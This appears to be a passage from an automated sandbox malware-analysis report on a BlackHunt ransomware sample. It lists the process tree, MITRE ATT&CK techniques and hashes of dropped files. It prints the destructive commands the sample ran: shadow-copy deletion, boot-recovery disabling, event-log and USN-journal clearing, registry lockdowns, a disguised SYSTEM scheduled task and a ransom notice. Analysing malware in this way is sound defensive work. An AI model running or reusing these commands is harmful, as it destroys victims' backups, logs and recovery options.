    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe" /F
  2⤵
  PID:844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1900
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1796
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1452
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1676
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1476
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1492
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:564
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2408
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:572
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3844
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3828
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2388
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3360
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3656
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3732
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3376
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe"
  2⤵
  - Deletes itself
  PID:204
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1896
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:212
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1488
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3032
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3780
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:884
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:608

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:644

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
- Modifies registry class
PID:2876

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
1dda8a37c92304ca4903984f59fdaf8a

SHA1
c22cb4e6f9d425671314f036c2119b9591bdead8

SHA256
03a6f806b41c69a502fd821bc870365129dd40a85c99241d824c251c4c7c23da

SHA512
dff708049aa47384db77ce9b6468b24d287f06cda1e9447e94c6a2f641fb453abe1191bb18b02289faea5b9fe946ac6c9444f2c9a70b5dd09c2627089aed31ee

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
50d73b9eb01dc2dc0215ac3909db6f89

SHA1
7b7cc506a38710250f17605f18b518cec376b8bf

SHA256
95ba9feec1305ad6808d55fc68712b9bb5c2d8c165d54506551ea2a0104718f6

SHA512
789cfc06f7d3ba3a6db15705be3a0c2037c068a160b273d411ee16656570b082d2bf1aab16f9092310db62ff0eaa0b27e2ed43c9f7a6de7310d1d9d0fd5368f1

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
2b14e57a22185fd6c4f0eeb78b1f1e4a

SHA1
4b3c659c59e606e376fc8886060bdfdb0a1ab060

SHA256
1a329de0b81510e5258d8f14bf6ef9ac9394275b390196a23f9be4911f986439

SHA512
4dc8c934bcecfb2cfc5ad525bf40f2bcd7f563feb08bf57b1dd06b7f942236913107e5badb9fc7128e6879c089aef9bb492b5026bf01a0bcba1b0fb57b4b7312

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads